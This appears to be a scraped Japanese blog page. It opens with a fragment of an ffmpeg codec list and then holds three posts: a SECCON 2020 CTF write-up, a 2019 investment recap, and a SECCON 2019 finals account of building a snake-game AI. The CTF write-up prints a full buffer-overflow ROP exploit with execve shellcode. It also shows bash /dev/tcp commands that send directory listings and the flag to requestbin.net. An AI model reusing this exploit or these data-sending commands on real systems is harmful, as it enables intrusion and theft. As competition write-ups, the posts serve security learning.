 A..... pcm_u24le            PCM unsigned 24-bit little-endian
 A..... pcm_u32be            PCM unsigned 32-bit big-endian
 A..... pcm_u32le            PCM unsigned 32-bit little-endian
 A..... pcm_u8               PCM unsigned 8-bit
 A..... pcm_vidc             PCM Archimedes VIDC
 A..... real_144             RealAudio 1.0 (14.4K) (codec ra_144)
 A..... roq_dpcm             id RoQ DPCM
 A..X.. s302m                SMPTE 302M
 A..... sbc                  SBC (low-complexity subband codec)
 A..X.. sonic                Sonic
 A..X.. sonicls              Sonic lossless
 A..X.. truehd               TrueHD
 A..... tta                  TTA (True Audio)
 A..X.. vorbis               Vorbis
 A..... wavpack              WavPack
 A..... wmav1                Windows Media Audio 1
 A..... wmav2                Windows Media Audio 2
 S..... ssa                  ASS (Advanced SubStation Alpha) subtitle (codec ass)
 S..... ass                  ASS (Advanced SubStation Alpha) subtitle
 S..... dvbsub               DVB subtitles (codec dvb_subtitle)
 S..... dvdsub               DVD subtitles (codec dvd_subtitle)
 S..... mov_text             3GPP Timed Text subtitle
 S..... srt                  SubRip subtitle (codec subrip)
 S..... subrip               SubRip subtitle
 S..... text                 Raw text subtitle
 S..... webvtt               WebVTT subtitle
 S..... xsub                 DivX subtitles (XSUB)

SECCON 2020 OnlineCTF writeup

SECCON 2020 OnlineCTF writeup

yharima チームで参加.今回は人が集まらず3人.
631pts で 47th でした.自分は WelcomeSurvey 除くと実質1問しか解けなかった.

ソース: https://github.com/yuta1024/ctf_log/tree/master/SECCON_CTF_2020_Online

f:id:yharima:20201011174123p:plain

[pwn] pwarmup

「warmp なのでソースコードも付いていてとても簡単そう!」…そう思っていた時期が俺にもありました.長くなるので,ステージを分けます.

Stage 1: シェルを奪うまで

実質これだけ.

int main(void) {
  char buf[0x20];
  puts("Welcome to Pwn Warmup!");
  scanf("%s", buf);
  fclose(stdout);
  fclose(stderr);
}

露骨に BOF があるので EIP は簡単に奪える.でも stdout/stderr と出力系が close されている.
そのため, libc を leak して one-gadget などはできなさそう.

セキュリティ機構をみると,全部 disable でスタック上も実行できることがわかる.このあたりが攻略の手がかりそうと判断.

$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : disabled

スタック上にシェルコードを積んで,そこに EIP を飛ばす方針としつつ,使えそうな ROP gadget の探索する.

$ rp++ -f chall -r 1 | grep rdi
0x004007e3: pop rdi ; ret  ;  (1 found)
$ rp++ -f chall -r 2 | grep rsi
0x004007c3: mov rsi, r14 ; mov edi, r13d ; call qword [r12+rbx*8] ;  (1 found)
0x004007e1: pop rsi ; pop r15 ; ret  ;  (1 found)

rdirsi も popgadget がある(rsir15 もついてくるけど無視すれば OK),

ASLR 有効のため, stack 上のアドレスを特定したいが出力系は閉じられているので別の方向から攻めるしかなさそう. Return-to-register でなんとかならないかと思い色々 gadget を探索していると以下があった.

$ rp++ -f ~/chall -r 1 | grep rax
(snip)
0x00400560: call rax ;  (1 found)
(snip)

これを使えば rax に実行したいシェルコードを積んで, EIP を飛ばしてあげればシェルがとれそうであることがわかる. 流れとしては,

  1. BOF する
  2. ROP して bss に実行したいシェルコードを置く.(scanf@plt を利用)
  3. rax に bss をセットして call rax する

ここで,問題となるのは pop rax がないこと.ただ,rax に任意の値を入れるのは alarm を2回呼ぶテクニックが使える.
alarm(x) => alarm(0) と2回呼ぶと,2回目の実行で rax に x が代入される.man を引くとどういう仕組かわかる.

RETURN VALUE
       alarm() returns the number of seconds remaining until any previously scheduled  alarm  was
       due to be delivered, or zero if there was no previously scheduled alarm.

alarm は呼び出すと,すでに alarm が呼ばれている場合に残り時間が返る.なので連続して呼び出すとほぼ確実に最初に設定した値が返ってくる(処理が遅いとずれる可能性はあるが,現代においてはありえなさそう).

あとは上記の方針で ROP gadget を組めば,シェルが立ち上がる.
注意として payload は scanf で読むため isspace 判定されるもの(ex. 0x0b など?)があるとちょん切られるので気をつける,

from pwn import *

context.arch = 'amd64'

con = remote('pwn-neko.chal.seccon.jp', 9001)

bss = 0x600e00
poprdi = 0x4007e3
poprsi = 0x4007e1
shellcode = '\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05'

con.recvregex('Welcome to Pwn Warmup!\n')

payload = 'A' * 32
payload += pack(bss)

payload += pack(poprdi)
payload += pack(0x40081b)
payload += pack(poprsi)
payload += pack(bss)
payload += pack(0)
payload += pack(0x4005c0) # scanf@plt

payload += pack(poprdi)
payload += pack(bss)
payload += pack(0x4005a0) # alarm@plt

payload += pack(poprdi)
payload += pack(0)
payload += pack(0x4005a0) # alarm@plt

payload += pack(0x400560) # call rax

con.sendline(payload)
con.sendline(shellcode)

con.interactive()

Stage2: 閉じられた stdout

シェルも取れたのであとは, ls して cat すれが終わり,と思ったら何も出力されない.
そりゃそうだ… stdout も stderr も閉じられてるんだから…
ここから地獄のような戦いが始まった.

まず最初に ls -l | nc <ip_addr> <port> することを思いつく.ローカルでは問題なく動作したので, nc さえ入ってれば…と思ってやるも駄目.

色々ググったりしていると /dev/pts/* を open することで stdout が復活するという情報を得る.
頑張ってシェルコードを書いてローカルで流してみると,何故か別の窓で SSH しているターミナルに ls 結果とかが流れてきて草生えた.
その後も,色々シェルコードをいじるも上記問題が解決できず眠くなってきたので一旦寝た.

起きて,再度上のシェルコードを弄るものの改善せず,この方針は駄目そうだと判断.
ls などの結果を pipe して別のどっかに飛ばす,という方針で他の方法がないか色々検索する.

色々調べてみると, bash の場合に /dev/tcp/${host}/${port} に書き込めば, nc 方針と同様のことができることがわかる.
シェルコードでは sh で立ち上げてるので bash がなければ成り立たない.シェルを上げた後 bash を実行して exit した際の挙動で bash が存在するかを確認する.
exit が2回必要であれば, bash が立ち上がっているので存在すると判断できる.一方で1回で exit してしまったら bash はない.祈りながらやってみると‥

% python pwarmup.py
[+] Opening connection to pwn-neko.chal.seccon.jp on port 9001: Done
[*] Switching to interactive mode
$ bash
$ exit
$ exit
[*] Got EOF while reading in interactive

これはきた!
でもこの時点で14時くらいで焦りながらぐぐり requestbin を利用してリークしていく.

まず, ls 結果を知る(requestbin は Cloudflare を使っていて Host ヘッダがないと 400 になるので注意).

$ bash
$ exec 3<> /dev/tcp/requestbin.net/80
$ echo -e "GET /r/(snip) HTTP/1.1\r\nHost: requestbin.net\r\nX-CTF: $(ls|base64)\r\nConnection: close\r\n\r\n" >&3
$ cat <&3

結果は以下.

f:id:yharima:20201011182325p:plain

X-CTF に含まれたものをデコードすると,

% echo 'Y2hhbGwKZmxhZy1lNjk1MWRmMDQwMGFkZDZhNmI1YmUxMWYyNWI4MGNlYS50eHQKcmVkaXIuc2gK' | base64 -d
chall
flag-e6951df0400add6a6b5be11f25b80cea.txt
redir.sh

同じ方法でフラグを cat すればいい.

$ bash
$ exec 3<> /dev/tcp/requestbin.net/80
$ echo -e "GET /r/(snip) HTTP/1.1\r\nHost: requestbin.net\r\nX-CTF: $(cat flag-e6951df0400add6a6b5be11f25b80cea.txt)\r\nConnection: close\r\n\r\n" >&3
$ cat <&3

結果は以下.

f:id:yharima:20201011182611p:plain

というわけで, SECCON{1t's_g3tt1ng_c0ld_1n_j4p4n_d0n't_f0rget_t0_w4rm-up} が得られた.
warmup(10時間)を終えた.14:40 くらいでほんとギリギリだったけど解けて本当に良かった.

まとめ

メンバーが web 2問解いてくれたので結構いい順位だった.一人は座ってただけらしいけど(自分も人権なしの瀬戸際だったので人のことは言えない).
本戦なくてやっぱり寂しいですね….そして全然 CTF してなくてなまりまくってることもわかりました.来年も頑張ります.

2019年運用成績 & おまけ

2019年運用成績 & おまけ

概要

運用ポリシーと2017年・2018年は以下.

yuta1024.hateblo.jp

yuta1024.hateblo.jp

結果

去年がひどかった分,今年は良かったです.

f:id:yharima:20191231211649p:plain

来年からの変更点

  • ボーナス月に増すのをやめて月10万で120万使い切る(均したほうが状況がわかりやすい,という理由なだけ)

悩み

S&P 500 とか有能な商品が増えてきたので買いたいなぁ…

おまけ

某プラベでボコられた結果,全ルール X になれました. f:id:yharima:20191231212007p:plain

SECCON CTF 2019 国内決勝 writeup

SECCON CTF 2019 国内決勝 writeup

yharima チームで参加.
アタックポイント 1000 pts + ディフェンスポイント 631 pts の計 1631 pts で 7位でした(去年と同じ順位だった).

今回は,問題ごとではなく思い出せる範囲で時系列順で書きます.
ソースコードは末尾にリンクを貼っておきます.

f:id:yharima:20191222234154j:plain

問題概略

  • 壱: バイナリが与えられて UDP パケット投げるとフラグが書き込める
  • 弐: 画像アップロードしてなんかするらしい(見てない)
  • 参: 多種多様なアーキテクチャのバイナリが与えられて BOF するやつ
  • 四: 予選の reversing 問題みたいなバイナリとトレースが与えられて再現するやつ
  • 伍: sname game の AI を各チームでバトらせて1位だとディフェンスポイントが得れる
  • 六: Jeopardy 形式で色々な問題があった

1日目

とりあえず壱のバイナリを読む,がなんかポート番号がおかしい.
ローカルでいくつかの index を与えて起動しても問題文のポート番号の計算と合わない.
:thinking: となっていたら問題修正が入った,別のメンバーが nc してひとまずフラグゲット.

次のディフェンスポイントはどうやら UDP パケットと token 投げつけると次の port が与えられて10回?やるといいらしい,ということをバイナリ読んで理解する.
ただ,なんか途中でポート見失うとそのポート特定しないと何の応答もできなくなるので,半分詰んでしまうきつい問題だった. 既にアタックフラグを取ったメンバーがやってたのでバイナリ読んだ情報だけ共有して次の問題へ.

どうやらこの問題,最後は UDP パケットを受け付ける時間が短くなっていくようで相当つらそうだった.

複数のアーキテクチャのバイナリが与えられる. BOF があるのでなんとかするっぽい感じだった.
ARM のバイナリは読めそうだったので色々 qemu とか入れて試行錯誤したけど,どう頑張ってもうまく起動しない.
起動しないと exploit 書くことすらできずひたすらスタート地点にも立てず無限に時間を溶かしてた.

気分転換に見てみるとどうやら snake game の AI を使って他のチームの AI とバトらせて1位をとるとディフェンスポイントもらえるらしい.
とりあえず動作させて BFS したりする簡単な実装してみたけど1日目は全然勝てず終了した.

1日目と2日目の間

1pts も点数を取れないまま1日目が終わり,無力感を噛み締めながら UDX のフードコートでラーメンを食べた.

正直家に帰ってこのままでは人権すらなく,椅子を温めるだけになりそうで本気で危機感を感じる.
まずは, ARM のバイナリを動かすために色々ビルドしたりしたけどやっぱり動かない.
正確には動くけど gets 途中でなぜか落ちる.でもエラーコードは返さず正しく終了する.もうこれは無理だ…と見切りつける.

CTF だし伍の snake game の AI それなりの書けばディフェンスポイントで人権得れるのでは?と考え実装を始める.まさかあんな過酷な戦いになるとはこのときは思いもしなかったのであった…. 満足するものがすぐにはできず,結局朝5時くらいまで実装していた.この時点では以下の実装になっていた.

  • Python 側は必要な出力だけを吐いて C++ で答えそ返す
  • 1つ目の Apple をとるまでは最短のものを探す
  • それ以降は mini-max で探索(深さ9)
  • 評価関数は勝利条件である自身と敵の長さの差(死ぬ場合はそちらのほうが評価値が高い)

2日目

8:30 に起床.正直くそ眠くてあんまり記憶がない.ただ,俺ディフェンスポイントとったらもう会場で寝るんだ…というお気持ちで会場へ.しかしここからが本当の戦いだった.

初めて1位になるまで

10時開始とともに AI を投入するも勝てない….
評価関数が良くなく, Apple をとりにいくことを優先させる結果死んでしまうようだった.
元々構想としてあった,評価関数に movable_count というその時点でいる場所から移動可能なマスの総数を組み込んでみた. この時点では評価関数は以下.

  • 優先するのは長さの差
  • 長さが同じ場合は movable_count が大きいほう

これでしばらく動かしていると結構勝ち始め,ついに 12:20 くらいに1位に躍り出る.この時点でのスコアは 1801.8463296316543 だった.
嬉しくて写真撮影をする.

f:id:yharima:20191223001559j:plain

防衛1: 小手先パッチ

みんなそんな本気じゃないだろうし,ここからいい感じにメンテナンスしつつ大きくアルゴリズム変えなくても大丈夫だろう,と思っていたが1時間くらい?すると負け始めまたフラグが奪われる.

どうもゲーム内容をみていると,大きいマップが降ってきたときに生き残るよりも自身の長さを大きくしすぎる結果,ターン終了までに自身の tail のせいで詰んでしまうケースが結構あった(戦ってる AI は生き残ることに全力なような動きでこれは厳しいという感じ).
しょうがないので小手先のパッチである,自身と敵の長さが10以上(10は適当に決めた)ある場合は評価関数の優先順位を入れ替えるようにした.具体的には以下.

  • 優先は movable_count が大きいほう
  • 同じ場合は長さの差

この小手先パッチは意外と活躍し,それなりに防衛した.

防衛2: 残りターン数の導入

元々気になっていた残りターンを拾えてなくて,勝てる試合なのにゲーム終了以降も探索して変な動きをした結果負ける,みたい試合があった.
やはり負け始め,このあたりの問題を起こしているケースがあったので Python のコードを読んでいるとやはり残りターン数は渡ってきているようだった.
最初から見ておけよ…というのは :hyakuriaru: のですが,面倒だったので….サンプルに書いておいてほしかった.
ターン数が 0 の場合はその時点で結果を返すようにするとまた勝ち始める.もうこのあたりで消耗戦感ができてもう許して…って感じだった.もちろん許してもらえない.

最終防衛まで: alpha-beta 法の導入とセグフォ

もう許して…あとできることは,探索の深さを上げるくらいで alpha-beta 法くらいしかないな…と思ってしばらく様子みていると負け始める.
このあたりはもう3チームくらいとデッドヒートを繰り広げていて,フラグの激しい奪い合いだった.

alpha-beta 法を導入し,探索の深さを 9 から 13 へ.ローカルでは alpha-beta 法導入前の AI とバトらせていい成績が出たので投入する.
デプロイするとセグフォで死ぬ…なぜ?と思っている間にすごい勢いでスコアが下がっていく.
死にたい気持ちになりながら見てもよくわからず,もっかいビルドして投げ込むと動き始めた.変なバイナリなげちゃったのか結局何が問題だったのかわからなかった.

動き始めるとやはり深く読めるようになったのか,ここからは勝ち始め最後まで防衛に成功した.
KMC がすごい勢いで追い上げてきてもうひたすら祈っていた.

5秒前のスコア一覧は以下(10.5.1.45:9999 はうちのチーム).

{
    "score": {
        "10.5.1.48:9999": 1149.9201212027613, 
        "10.5.1.42:9999": 1596.4466710856354, 
        "10.5.1.37:9999": 1076.2148700052967, 
        "10.5.1.43:9999": 1846.3636003307793, 
        "10.5.1.45:9999": 1939.8270648109706, 
        "10.5.1.47:9999": 1229.7707035460242, 
        "10.5.1.44:9999": 1926.9832289707224, 
        "10.5.1.38:9999": 1601.2914897880303, 
        "10.5.1.39:9999": 1167.5223517980698, 
        "10.5.1.33:9999": 1265.149764353398, 
        "10.5.1.41:9999": 1101.8125012462992, 
        "10.5.1.46:9999": 1656.1592175341061, 
        "10.5.1.40:9999": 1801.4429520529613, 
        "10.5.1.34:9999": 1611.6238491044064, 
        "10.5.1.36:9999": 1243.9137867412862, 
        "10.5.1.35:9999": 1785.5578274292523
    }, 
    "result": {
        "1st": [
            "10.5.1.45:9999", 
            "14ab47837ca97d08d89c49dde8fedb55"
        ]
    }
}

結果

最終的には 500pts をゲットしていたらしい.

f:id:yharima:20191223003606j:plain

懇親会

snake game の話を最後までバトっていた R19, p3r0zm の チームの人と少し話せた.楽しかった.
が,もうひたすら眠くて厳しかったので途中で抜けました.帰ってほぼさっきまで寝てました.

まとめ

自分はセキュリティ要素皆無でしたが, AI バトル楽しかった.
無事 500 pts の人権を得れたので本当に良かった.取れなかったら椅子を温めているだけだったので….
2年連続出場だけど今年は繰り上がりだったので,来年はちゃんと出れるようになりたい.

f:id:yharima:20191223004522j:plain

おまけ

ソースコードは以下においてあります.色々実装がアレなのはお許しください.
盤面コピーとか無駄なことしまくっててなんで…ってお気持ちが今見て湧いてます.

https://github.com/yuta1024/ctf_log/tree/master/SECCON_CTF_2019_Domestic

他のメンバーの writeup

blog.nhiroki.net